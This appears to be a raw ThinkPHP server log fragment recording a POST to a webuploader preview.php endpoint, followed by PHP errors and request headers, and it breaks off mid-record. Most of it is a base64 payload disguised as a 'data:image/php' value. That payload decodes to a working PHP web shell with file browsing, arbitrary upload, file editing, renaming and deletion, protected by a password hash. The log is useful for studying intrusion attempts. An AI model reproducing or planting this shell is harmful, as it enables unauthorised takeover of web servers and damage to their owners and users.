'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:08+08:00 ] 116.213.36.234 POST 51tianwei.com/web/static//webuploader/0.1.15/server/preview.php [运行时间:0.002612s] [吞吐率:382.87req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 